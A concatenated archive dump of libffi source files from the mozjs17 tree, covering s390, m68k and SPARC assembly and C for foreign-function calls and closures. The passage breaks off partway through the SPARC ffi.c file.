&ecif basr %r14,%r4 # Call ffi_prep_args lmg %r2,%r6,0(%r11) # Load arguments ld %f0,48(%r11) ld %f2,56(%r11) ld %f4,64(%r11) ld %f6,72(%r11) la %r14,0(%r13,%r9) # Set return address br %r7 # ... and call function .Lbase: .LretNone: # Return void lg %r4,80+112(%r11) lmg %r6,%r15,80+48(%r11) br %r4 .LretFloat: lg %r4,80+112(%r11) ste %f0,0(%r8) # Return float lmg %r6,%r15,80+48(%r11) br %r4 .LretDouble: lg %r4,80+112(%r11) std %f0,0(%r8) # Return double lmg %r6,%r15,80+48(%r11) br %r4 .LretInt32: lg %r4,80+112(%r11) st %r2,0(%r8) # Return int lmg %r6,%r15,80+48(%r11) br %r4 .LretInt64: lg %r4,80+112(%r11) stg %r2,0(%r8) # Return long lmg %r6,%r15,80+48(%r11) br %r4 .Ltable: .byte .LretNone-.Lbase # FFI390_RET_VOID .byte .LretNone-.Lbase # FFI390_RET_STRUCT .byte .LretFloat-.Lbase # FFI390_RET_FLOAT .byte .LretDouble-.Lbase # FFI390_RET_DOUBLE .byte .LretInt32-.Lbase # FFI390_RET_INT32 .byte .LretInt64-.Lbase # FFI390_RET_INT64 .LFE1: .ffi_call_SYSV_end: .size ffi_call_SYSV,.ffi_call_SYSV_end-ffi_call_SYSV .globl ffi_closure_SYSV .type ffi_closure_SYSV,%function ffi_closure_SYSV: .LFB2: stmg %r14,%r15,112(%r15) # Save registers .LCFI10: stmg %r2,%r6,16(%r15) # Save arguments std %f0,128(%r15) std %f2,136(%r15) std %f4,144(%r15) std %f6,152(%r15) lgr %r1,%r15 # Set up stack frame aghi %r15,-160 .LCFI11: lgr %r2,%r0 # Closure la %r3,16(%r1) # GPRs la %r4,128(%r1) # FPRs la %r5,160(%r1) # Overflow stg %r1,0(%r15) # Set up back chain brasl %r14,ffi_closure_helper_SYSV # Call helper lg %r14,160+112(%r15) ld %f0,160+128(%r15) # Load return registers lg %r2,160+16(%r15) la %r15,160(%r15) br %r14 .LFE2: .ffi_closure_SYSV_end: .size ffi_closure_SYSV,.ffi_closure_SYSV_end-ffi_closure_SYSV .section .eh_frame,EH_FRAME_FLAGS,@progbits .Lframe1: .4byte .LECIE1-.LSCIE1 # Length of Common Information Entry .LSCIE1: .4byte 0x0 # CIE Identifier Tag .byte 0x1 # CIE Version .ascii "zR\0" # CIE Augmentation .uleb128 0x1 # CIE Code Alignment Factor .sleb128 -8 # CIE Data Alignment Factor .byte 0xe # CIE RA Column .uleb128 0x1 # Augmentation size .byte 0x1b # FDE Encoding (pcrel sdata4) .byte 0xc # DW_CFA_def_cfa .uleb128 0xf .uleb128 0xa0 .align 8 .LECIE1: .LSFDE1: .4byte .LEFDE1-.LASFDE1 # FDE Length .LASFDE1: .4byte .LASFDE1-.Lframe1 # FDE CIE offset .4byte .LFB1-. # FDE initial location .4byte .LFE1-.LFB1 # FDE address range .uleb128 0x0 # Augmentation size .byte 0x4 # DW_CFA_advance_loc4 .4byte .LCFI0-.LFB1 .byte 0x8f # DW_CFA_offset, column 0xf .uleb128 0x5 .byte 0x8e # DW_CFA_offset, column 0xe .uleb128 0x6 .byte 0x8d # DW_CFA_offset, column 0xd .uleb128 0x7 .byte 0x8c # DW_CFA_offset, column 0xc .uleb128 0x8 .byte 0x8b # DW_CFA_offset, column 0xb .uleb128 0x9 .byte 0x8a # DW_CFA_offset, column 0xa .uleb128 0xa .byte 0x89 # DW_CFA_offset, column 0x9 .uleb128 0xb .byte 0x88 # DW_CFA_offset, column 0x8 .uleb128 0xc .byte 0x87 # DW_CFA_offset, column 0x7 .uleb128 0xd .byte 0x86 # DW_CFA_offset, column 0x6 .uleb128 0xe .byte 0x4 # DW_CFA_advance_loc4 .4byte .LCFI1-.LCFI0 .byte 0xd # DW_CFA_def_cfa_register .uleb128 0xb .byte 0x4 # DW_CFA_advance_loc4 .4byte .LCFI2-.LCFI1 .byte 0xe # DW_CFA_def_cfa_offset .uleb128 0xf0 .align 8 .LEFDE1: .LSFDE2: .4byte .LEFDE2-.LASFDE2 # FDE Length .LASFDE2: .4byte .LASFDE2-.Lframe1 # FDE CIE offset .4byte .LFB2-. # FDE initial location .4byte .LFE2-.LFB2 # FDE address range .uleb128 0x0 # Augmentation size .byte 0x4 # DW_CFA_advance_loc4 .4byte .LCFI10-.LFB2 .byte 0x8f # DW_CFA_offset, column 0xf .uleb128 0x5 .byte 0x8e # DW_CFA_offset, column 0xe .uleb128 0x6 .byte 0x4 # DW_CFA_advance_loc4 .4byte .LCFI11-.LCFI10 .byte 0xe # DW_CFA_def_cfa_offset .uleb128 0x140 .align 8 .LEFDE2: #endif #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/m68k/0000775000175000017500000000000012106270662020121 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/m68k/ffitarget.h0000664000175000017500000000336512106270662022254 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003 Red Hat, Inc. Target configuration macros for Motorola 68K. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_SYSV, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_SYSV } ffi_abi; #endif /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #define FFI_TRAMPOLINE_SIZE 16 #define FFI_NATIVE_RAW_API 0 #endif mozjs17.0.0/js/src/ctypes/libffi/src/m68k/ffi.c0000664000175000017500000001307312106270662021035 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c m68k Foreign Function Interface ----------------------------------------------------------------------- */ #include #include #include #include #include #include void ffi_call_SYSV (extended_cif *, unsigned, unsigned, void *, void (*fn) ()); void *ffi_prep_args (void *stack, extended_cif *ecif); void ffi_closure_SYSV (ffi_closure *); void ffi_closure_struct_SYSV (ffi_closure *); unsigned int ffi_closure_SYSV_inner (ffi_closure *closure, void *resp, void *args); /* ffi_prep_args is called by the assembly routine once stack space has been allocated for the function's arguments. */ void * ffi_prep_args (void *stack, extended_cif *ecif) { unsigned int i; void **p_argv; char *argp; ffi_type **p_arg; void *struct_value_ptr; argp = stack; if (ecif->cif->rtype->type == FFI_TYPE_STRUCT && !ecif->cif->flags) struct_value_ptr = ecif->rvalue; else struct_value_ptr = NULL; p_argv = ecif->avalue; for (i = ecif->cif->nargs, p_arg = ecif->cif->arg_types; i != 0; i--, p_arg++) { size_t z; z = (*p_arg)->size; if (z < sizeof (int)) { switch ((*p_arg)->type) { case FFI_TYPE_SINT8: *(signed int *) argp = (signed int) *(SINT8 *) *p_argv; break; case FFI_TYPE_UINT8: *(unsigned int *) argp = (unsigned int) *(UINT8 *) *p_argv; break; case FFI_TYPE_SINT16: *(signed int *) argp = (signed int) *(SINT16 *) *p_argv; break; case FFI_TYPE_UINT16: *(unsigned int *) argp = (unsigned int) *(UINT16 *) *p_argv; break; case FFI_TYPE_STRUCT: memcpy (argp + sizeof (int) - z, *p_argv, z); break; default: FFI_ASSERT (0); } z = sizeof (int); } else { memcpy (argp, *p_argv, z); /* Align if necessary. */ if ((sizeof(int) - 1) & z) z = ALIGN(z, sizeof(int)); } p_argv++; argp += z; } return struct_value_ptr; } #define CIF_FLAGS_INT 1 #define CIF_FLAGS_DINT 2 #define CIF_FLAGS_FLOAT 4 #define CIF_FLAGS_DOUBLE 8 #define CIF_FLAGS_LDOUBLE 16 #define CIF_FLAGS_POINTER 32 #define CIF_FLAGS_STRUCT1 64 #define CIF_FLAGS_STRUCT2 128 /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep (ffi_cif *cif) { /* Set the return type flag */ switch (cif->rtype->type) { case FFI_TYPE_VOID: cif->flags = 0; break; case FFI_TYPE_STRUCT: switch (cif->rtype->size) { case 1: cif->flags = CIF_FLAGS_STRUCT1; break; case 2: cif->flags = CIF_FLAGS_STRUCT2; break; case 4: cif->flags = CIF_FLAGS_INT; break; case 8: cif->flags = CIF_FLAGS_DINT; break; default: cif->flags = 0; break; } break; case FFI_TYPE_FLOAT: cif->flags = CIF_FLAGS_FLOAT; break; case FFI_TYPE_DOUBLE: cif->flags = CIF_FLAGS_DOUBLE; break; case FFI_TYPE_LONGDOUBLE: cif->flags = CIF_FLAGS_LDOUBLE; break; case FFI_TYPE_POINTER: cif->flags = CIF_FLAGS_POINTER; break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: cif->flags = CIF_FLAGS_DINT; break; default: cif->flags = CIF_FLAGS_INT; break; } return FFI_OK; } void ffi_call (ffi_cif *cif, void (*fn) (), void *rvalue, void **avalue) { extended_cif ecif; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return value address then we need to make one. */ if (rvalue == NULL && cif->rtype->type == FFI_TYPE_STRUCT && cif->rtype->size > 8) ecif.rvalue = alloca (cif->rtype->size); else ecif.rvalue = rvalue; switch (cif->abi) { case FFI_SYSV: ffi_call_SYSV (&ecif, cif->bytes, cif->flags, ecif.rvalue, fn); break; default: FFI_ASSERT (0); break; } } static void ffi_prep_incoming_args_SYSV (char *stack, void **avalue, ffi_cif *cif) { unsigned int i; void **p_argv; char *argp; ffi_type **p_arg; argp = stack; p_argv = avalue; for (i = cif->nargs, p_arg = cif->arg_types; (i != 0); i--, p_arg++) { size_t z; z = (*p_arg)->size; if (z <= 4) { *p_argv = (void *) (argp + 4 - z); z = 4; } else { *p_argv = (void *) argp; /* Align if necessary */ if ((sizeof(int) - 1) & z) z = ALIGN(z, sizeof(int)); } p_argv++; argp += z; } } unsigned int ffi_closure_SYSV_inner (ffi_closure *closure, void *resp, void *args) { ffi_cif *cif; void **arg_area; cif = closure->cif; arg_area = (void**) alloca (cif->nargs * sizeof (void *)); ffi_prep_incoming_args_SYSV(args, arg_area, cif); (closure->fun) (cif, resp, arg_area, closure->user_data); return cif->flags; } ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*,void*,void**,void*), void *user_data, void *codeloc) { FFI_ASSERT (cif->abi == FFI_SYSV); *(unsigned short *)closure->tramp = 0x207c; *(void **)(closure->tramp + 2) = codeloc; *(unsigned short *)(closure->tramp + 6) = 0x4ef9; if (cif->rtype->type == FFI_TYPE_STRUCT && !cif->flags) *(void **)(closure->tramp + 8) = ffi_closure_struct_SYSV; else *(void **)(closure->tramp + 8) = ffi_closure_SYSV; syscall(SYS_cacheflush, codeloc, FLUSH_SCOPE_LINE, FLUSH_CACHE_BOTH, FFI_TRAMPOLINE_SIZE); closure->cif = cif; closure->user_data = user_data; closure->fun = fun; return FFI_OK; } mozjs17.0.0/js/src/ctypes/libffi/src/m68k/sysv.S0000664000175000017500000001130012106270662021244 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.S - Copyright (c) 1998 Andreas Schwab Copyright (c) 2008 Red Hat, Inc. m68k Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #ifdef HAVE_AS_CFI_PSEUDO_OP #define CFI_STARTPROC() .cfi_startproc #define CFI_OFFSET(reg,off) .cfi_offset reg,off #define CFI_DEF_CFA(reg,off) .cfi_def_cfa reg,off #define CFI_ENDPROC() .cfi_endproc #else #define CFI_STARTPROC() #define CFI_OFFSET(reg,off) #define CFI_DEF_CFA(reg,off) #define CFI_ENDPROC() #endif .text .globl ffi_call_SYSV .type ffi_call_SYSV,@function .align 4 ffi_call_SYSV: CFI_STARTPROC() link %fp,#0 CFI_OFFSET(14,-8) CFI_DEF_CFA(14,8) move.l %d2,-(%sp) CFI_OFFSET(2,-12) | Make room for all of the new args. sub.l 12(%fp),%sp | Call ffi_prep_args move.l 8(%fp),-(%sp) pea 4(%sp) #if !defined __PIC__ jsr ffi_prep_args #else bsr.l ffi_prep_args@PLTPC #endif addq.l #8,%sp | Pass pointer to struct value, if any move.l %a0,%a1 | Call the function move.l 24(%fp),%a0 jsr (%a0) | Remove the space we pushed for the args add.l 12(%fp),%sp | Load the pointer to storage for the return value move.l 20(%fp),%a1 | Load the return type code move.l 16(%fp),%d2 | If the return value pointer is NULL, assume no return value. tst.l %a1 jbeq noretval btst #0,%d2 jbeq retlongint move.l %d0,(%a1) jbra epilogue retlongint: btst #1,%d2 jbeq retfloat move.l %d0,(%a1) move.l %d1,4(%a1) jbra epilogue retfloat: btst #2,%d2 jbeq retdouble fmove.s %fp0,(%a1) jbra epilogue retdouble: btst #3,%d2 jbeq retlongdouble fmove.d %fp0,(%a1) jbra epilogue retlongdouble: btst #4,%d2 jbeq retpointer fmove.x %fp0,(%a1) jbra epilogue retpointer: btst #5,%d2 jbeq retstruct1 move.l %a0,(%a1) jbra epilogue retstruct1: btst #6,%d2 jbeq retstruct2 move.b %d0,(%a1) jbra epilogue retstruct2: btst #7,%d2 jbeq noretval move.w %d0,(%a1) noretval: epilogue: move.l (%sp)+,%d2 unlk %fp rts CFI_ENDPROC() .size ffi_call_SYSV,.-ffi_call_SYSV .globl ffi_closure_SYSV .type ffi_closure_SYSV, @function .align 4 ffi_closure_SYSV: CFI_STARTPROC() link %fp,#-12 CFI_OFFSET(14,-8) CFI_DEF_CFA(14,8) move.l %sp,-12(%fp) pea 8(%fp) pea -12(%fp) move.l %a0,-(%sp) #if !defined __PIC__ jsr ffi_closure_SYSV_inner #else bsr.l ffi_closure_SYSV_inner@PLTPC #endif lsr.l #1,%d0 jne 1f jcc .Lcls_epilogue move.l -12(%fp),%d0 .Lcls_epilogue: unlk %fp rts 1: lea -12(%fp),%a0 lsr.l #2,%d0 jne 1f jcs .Lcls_ret_float move.l (%a0)+,%d0 move.l (%a0),%d1 jra .Lcls_epilogue .Lcls_ret_float: fmove.s (%a0),%fp0 jra .Lcls_epilogue 1: lsr.l #2,%d0 jne 1f jcs .Lcls_ret_ldouble fmove.d (%a0),%fp0 jra .Lcls_epilogue .Lcls_ret_ldouble: fmove.x (%a0),%fp0 jra .Lcls_epilogue 1: lsr.l #2,%d0 jne .Lcls_ret_struct2 jcs .Lcls_ret_struct1 move.l (%a0),%a0 move.l %a0,%d0 jra .Lcls_epilogue .Lcls_ret_struct1: move.b (%a0),%d0 jra .Lcls_epilogue .Lcls_ret_struct2: move.w (%a0),%d0 jra .Lcls_epilogue CFI_ENDPROC() .size ffi_closure_SYSV,.-ffi_closure_SYSV .globl ffi_closure_struct_SYSV .type ffi_closure_struct_SYSV, @function .align 4 ffi_closure_struct_SYSV: CFI_STARTPROC() link %fp,#0 CFI_OFFSET(14,-8) CFI_DEF_CFA(14,8) move.l %sp,-12(%fp) pea 8(%fp) move.l %a1,-(%sp) move.l %a0,-(%sp) #if !defined __PIC__ jsr ffi_closure_SYSV_inner #else bsr.l ffi_closure_SYSV_inner@PLTPC #endif unlk %fp rts CFI_ENDPROC() .size ffi_closure_struct_SYSV,.-ffi_closure_struct_SYSV #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/sparc/0000775000175000017500000000000012106270662020444 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/sparc/v9.S0000664000175000017500000001635712106270662021142 0ustar sstanglsstangl/* ----------------------------------------------------------------------- v9.S - Copyright (c) 2000, 2003, 2004, 2008 Red Hat, Inc. SPARC 64-bit Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #ifdef SPARC64 /* Only compile this in for 64bit builds, because otherwise the object file will have inproper architecture due to used instructions. */ #define STACKFRAME 128 /* Minimum stack framesize for SPARC */ #define STACK_BIAS 2047 #define ARGS (128) /* Offset of register area in frame */ .text .align 8 .globl ffi_call_v9 .globl _ffi_call_v9 ffi_call_v9: _ffi_call_v9: .LLFB1: save %sp, -STACKFRAME, %sp .LLCFI0: sub %sp, %i2, %sp ! alloca() space in stack for frame to set up add %sp, STACKFRAME+STACK_BIAS, %l0 ! %l0 has start of ! frame to set up mov %l0, %o0 ! call routine to set up frame call %i0 mov %i1, %o1 ! (delay) brz,pt %o0, 1f ldx [%l0+ARGS], %o0 ! call foreign function ldd [%l0+ARGS], %f0 ldd [%l0+ARGS+8], %f2 ldd [%l0+ARGS+16], %f4 ldd [%l0+ARGS+24], %f6 ldd [%l0+ARGS+32], %f8 ldd [%l0+ARGS+40], %f10 ldd [%l0+ARGS+48], %f12 ldd [%l0+ARGS+56], %f14 ldd [%l0+ARGS+64], %f16 ldd [%l0+ARGS+72], %f18 ldd [%l0+ARGS+80], %f20 ldd [%l0+ARGS+88], %f22 ldd [%l0+ARGS+96], %f24 ldd [%l0+ARGS+104], %f26 ldd [%l0+ARGS+112], %f28 ldd [%l0+ARGS+120], %f30 1: ldx [%l0+ARGS+8], %o1 ldx [%l0+ARGS+16], %o2 ldx [%l0+ARGS+24], %o3 ldx [%l0+ARGS+32], %o4 ldx [%l0+ARGS+40], %o5 call %i5 sub %l0, STACK_BIAS, %sp ! (delay) switch to frame ! If the return value pointer is NULL, assume no return value. brz,pn %i4, done nop cmp %i3, FFI_TYPE_INT be,a,pt %icc, done stx %o0, [%i4+0] ! (delay) cmp %i3, FFI_TYPE_FLOAT be,a,pn %icc, done st %f0, [%i4+0] ! (delay) cmp %i3, FFI_TYPE_DOUBLE be,a,pn %icc, done std %f0, [%i4+0] ! (delay) cmp %i3, FFI_TYPE_STRUCT be,pn %icc, dostruct cmp %i3, FFI_TYPE_LONGDOUBLE bne,pt %icc, done nop std %f0, [%i4+0] std %f2, [%i4+8] done: ret restore dostruct: /* This will not work correctly for unions. */ stx %o0, [%i4+0] stx %o1, [%i4+8] stx %o2, [%i4+16] stx %o3, [%i4+24] std %f0, [%i4+32] std %f2, [%i4+40] std %f4, [%i4+48] std %f6, [%i4+56] ret restore .LLFE1: .ffi_call_v9_end: .size ffi_call_v9,.ffi_call_v9_end-ffi_call_v9 #undef STACKFRAME #define STACKFRAME 336 /* 16*8 register window + 6*8 args backing store + 20*8 locals */ #define FP %fp+STACK_BIAS /* ffi_closure_v9(...) Receives the closure argument in %g1. */ .text .align 8 .globl ffi_closure_v9 ffi_closure_v9: .LLFB2: save %sp, -STACKFRAME, %sp .LLCFI1: ! Store all of the potential argument registers in va_list format. stx %i0, [FP+128+0] stx %i1, [FP+128+8] stx %i2, [FP+128+16] stx %i3, [FP+128+24] stx %i4, [FP+128+32] stx %i5, [FP+128+40] ! Store possible floating point argument registers too. std %f0, [FP-128] std %f2, [FP-120] std %f4, [FP-112] std %f6, [FP-104] std %f8, [FP-96] std %f10, [FP-88] std %f12, [FP-80] std %f14, [FP-72] std %f16, [FP-64] std %f18, [FP-56] std %f20, [FP-48] std %f22, [FP-40] std %f24, [FP-32] std %f26, [FP-24] std %f28, [FP-16] std %f30, [FP-8] ! Call ffi_closure_sparc_inner to do the bulk of the work. mov %g1, %o0 add %fp, STACK_BIAS-160, %o1 add %fp, STACK_BIAS+128, %o2 call ffi_closure_sparc_inner_v9 add %fp, STACK_BIAS-128, %o3 ! Load up the return value in the proper type. ! See ffi_prep_cif_machdep for the list of cases. cmp %o0, FFI_TYPE_VOID be,pn %icc, done1 cmp %o0, FFI_TYPE_INT be,pn %icc, integer cmp %o0, FFI_TYPE_FLOAT be,a,pn %icc, done1 ld [FP-160], %f0 cmp %o0, FFI_TYPE_DOUBLE be,a,pn %icc, done1 ldd [FP-160], %f0 #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE cmp %o0, FFI_TYPE_LONGDOUBLE be,a,pn %icc, longdouble1 ldd [FP-160], %f0 #endif ! FFI_TYPE_STRUCT ldx [FP-152], %i1 ldx [FP-144], %i2 ldx [FP-136], %i3 ldd [FP-160], %f0 ldd [FP-152], %f2 ldd [FP-144], %f4 ldd [FP-136], %f6 integer: ldx [FP-160], %i0 done1: ret restore #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE longdouble1: ldd [FP-152], %f2 ret restore #endif .LLFE2: .ffi_closure_v9_end: .size ffi_closure_v9,.ffi_closure_v9_end-ffi_closure_v9 #ifdef HAVE_RO_EH_FRAME .section ".eh_frame",#alloc #else .section ".eh_frame",#alloc,#write #endif .LLframe1: .uaword .LLECIE1-.LLSCIE1 ! Length of Common Information Entry .LLSCIE1: .uaword 0x0 ! CIE Identifier Tag .byte 0x1 ! CIE Version .ascii "zR\0" ! CIE Augmentation .byte 0x1 ! uleb128 0x1; CIE Code Alignment Factor .byte 0x78 ! sleb128 -8; CIE Data Alignment Factor .byte 0xf ! CIE RA Column .byte 0x1 ! uleb128 0x1; Augmentation size #ifdef HAVE_AS_SPARC_UA_PCREL .byte 0x1b ! FDE Encoding (pcrel sdata4) #else .byte 0x50 ! FDE Encoding (aligned absolute) #endif .byte 0xc ! DW_CFA_def_cfa .byte 0xe ! uleb128 0xe .byte 0xff,0xf ! uleb128 0x7ff .align 8 .LLECIE1: .LLSFDE1: .uaword .LLEFDE1-.LLASFDE1 ! FDE Length .LLASFDE1: .uaword .LLASFDE1-.LLframe1 ! FDE CIE offset #ifdef HAVE_AS_SPARC_UA_PCREL .uaword %r_disp32(.LLFB1) .uaword .LLFE1-.LLFB1 ! FDE address range #else .align 8 .xword .LLFB1 .uaxword .LLFE1-.LLFB1 ! FDE address range #endif .byte 0x0 ! uleb128 0x0; Augmentation size .byte 0x4 ! DW_CFA_advance_loc4 .uaword .LLCFI0-.LLFB1 .byte 0xd ! DW_CFA_def_cfa_register .byte 0x1e ! uleb128 0x1e .byte 0x2d ! DW_CFA_GNU_window_save .byte 0x9 ! DW_CFA_register .byte 0xf ! uleb128 0xf .byte 0x1f ! uleb128 0x1f .align 8 .LLEFDE1: .LLSFDE2: .uaword .LLEFDE2-.LLASFDE2 ! FDE Length .LLASFDE2: .uaword .LLASFDE2-.LLframe1 ! FDE CIE offset #ifdef HAVE_AS_SPARC_UA_PCREL .uaword %r_disp32(.LLFB2) .uaword .LLFE2-.LLFB2 ! FDE address range #else .align 8 .xword .LLFB2 .uaxword .LLFE2-.LLFB2 ! FDE address range #endif .byte 0x0 ! uleb128 0x0; Augmentation size .byte 0x4 ! DW_CFA_advance_loc4 .uaword .LLCFI1-.LLFB2 .byte 0xd ! DW_CFA_def_cfa_register .byte 0x1e ! uleb128 0x1e .byte 0x2d ! DW_CFA_GNU_window_save .byte 0x9 ! DW_CFA_register .byte 0xf ! uleb128 0xf .byte 0x1f ! uleb128 0x1f .align 8 .LLEFDE2: #endif #ifdef __linux__ .section .note.GNU-stack,"",@progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/sparc/ffitarget.h0000664000175000017500000000404112106270662022567 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003 Red Hat, Inc. Target configuration macros for SPARC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H /* ---- System specific configurations ----------------------------------- */ #if defined(__arch64__) || defined(__sparcv9) #ifndef SPARC64 #define SPARC64 #endif #endif #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_V8, FFI_V8PLUS, FFI_V9, FFI_LAST_ABI, #ifdef SPARC64 FFI_DEFAULT_ABI = FFI_V9 #else FFI_DEFAULT_ABI = FFI_V8 #endif } ffi_abi; #endif /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #define FFI_NATIVE_RAW_API 0 #ifdef SPARC64 #define FFI_TRAMPOLINE_SIZE 24 #else #define FFI_TRAMPOLINE_SIZE 16 #endif #endif mozjs17.0.0/js/src/ctypes/libffi/src/sparc/ffi.c0000664000175000017500000003656112106270662021367 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 1996, 2003, 2004, 2007, 2008 Red Hat, Inc. SPARC Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include /* ffi_prep_args is called by the assembly routine once stack space has been allocated for the function's arguments */ void ffi_prep_args_v8(char *stack, extended_cif *ecif) { int i; void **p_argv; char *argp; ffi_type **p_arg; /* Skip 16 words for the window save area */ argp = stack + 16*sizeof(int); /* This should only really be done when we are returning a structure, however, it's faster just to do it all the time... if ( ecif->cif->rtype->type == FFI_TYPE_STRUCT ) */ *(int *) argp = (long)ecif->rvalue; /* And 1 word for the structure return value. */ argp += sizeof(int); #ifdef USING_PURIFY /* Purify will probably complain in our assembly routine, unless we zero out this memory. */ ((int*)argp)[0] = 0; ((int*)argp)[1] = 0; ((int*)argp)[2] = 0; ((int*)argp)[3] = 0; ((int*)argp)[4] = 0; ((int*)argp)[5] = 0; #endif p_argv = ecif->avalue; for (i = ecif->cif->nargs, p_arg = ecif->cif->arg_types; i; i--, p_arg++) { size_t z; if ((*p_arg)->type == FFI_TYPE_STRUCT #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE || 